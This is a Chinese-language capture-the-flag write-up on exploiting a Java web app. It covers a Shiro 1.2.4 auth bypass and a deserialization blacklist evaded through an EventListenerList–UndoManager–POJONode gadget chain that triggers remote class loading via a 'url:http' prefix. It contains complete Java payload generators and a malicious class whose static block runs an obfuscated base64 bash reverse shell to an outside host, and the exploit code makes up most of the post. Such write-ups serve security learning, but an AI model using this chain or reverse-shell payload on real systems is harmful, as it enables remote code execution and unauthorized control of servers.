这个题链子很简单,都是已经公开的,就是有些点有点坑

拿到附件反编译,本地起环境用cfr就行,确实比较方便

题目分析

这里我一开始是直接找反序列化的点,在UserControler

image.png

但是这里有shiro权限校验

image.png

看shiro版本1.2.4是可以绕过的,加个/ 即可绕过

image.png

所以可以直接来到反序列化这里,然后就是黑名单了

1
2
private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};

这里用的是resolveClass 加载的类,所以overlongencoding没法绕,这里可以看到Jackson的那条链不在黑名单所以直接用那个链即可,但是BadAttributeValueExpException 在黑名单,典型的触发toString方法的类被ban了,但是最近公开了很多,前不久的阿里云就公开了一个EventListenerList 类触发,同样也是readObject方法触发,所以很好的平替了

1
EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()

接下来就是TemplatesImpl ,这个被办了,当时就是在这里卡死了,bcel这里没依赖打不了,LdapAttribute 也在黑名单,所以只剩个远程类加载,一开始我忽略了User类后面才看到,还找了半天远程类加载的触发点。。。

image.png

可以看到这个User类加载远程的方法是典型的getter,那么链到这里就好了,不过这里ban了http和file,绕过方式我知道的有两种,一种是jar:http ,另一种是url:http (偷学自snow师傅),为什么能够用url绕呢,简单调试一下其实就能发现

5ec2f8fc68b795e4a4f8bfdd9805bbd9.png

URL类里面有处理url的逻辑

4fcf8f8e1b8457306a7e0ac83a02ebaa.png

所以这样就可以绕过了,简单调试了一下没具体细看逻辑

然后坑点来了(其实也不能算是坑点,还是自己没咋用过远程类加载),这里User类中的getGift 方法只是把远程路径去加载进去,如果你不触发这里那么是不会去请求远程类的,另外URLClassLoader 是先会从本地加载类,找不到才会加载远程类,所以你的恶意类不能带包名,否则它就会当成是你本地的类,也不会去远程加载了

payload

链子payload如下,来自大头的项目稍微改改就行https://github.com/LxxxSec/CTF-Java-Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.myself;

import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;

public class ycb {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();

CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

User user = new User("url:http://192.168.1.100:8888/","123456");

POJONode pojoNode = new POJONode(user);

//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(list);

System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())));

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}

calc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;
import java.io.Serializable;

public class calc implements Serializable {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}
}

生成calc序列化如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URLEncoder;
import java.util.Base64;

public class ser {
public static void main(String[] args) throws Exception{
calc calc = new calc();
byte[] serialize = serialize(calc);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize)));

}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
}

流程

这里是我本地复现的,所以全部在本地,先把calc那个类编译成字节码

1
javac calc.java

然后开启监听,先发送第一个payload把远程地址打进去

image.png

然后发送calc的序列化数据

image.png

稍等一下收到shell

image-20240831121235908

不知道什么原因,我本地也是打了很多遍才成功,可能是Jackson的不稳定性 ,然后我一开始还有一个疑惑的点,我们Runtime不是被ban了为啥最后还可以用它来执行命令?其实这里虽然Runtime被办了,但是我们打进去的是calc类,反序列化的时候只会匹配到这个类,而一开始的链子payload里面也根本没用Runtime类,所以这里就可以用了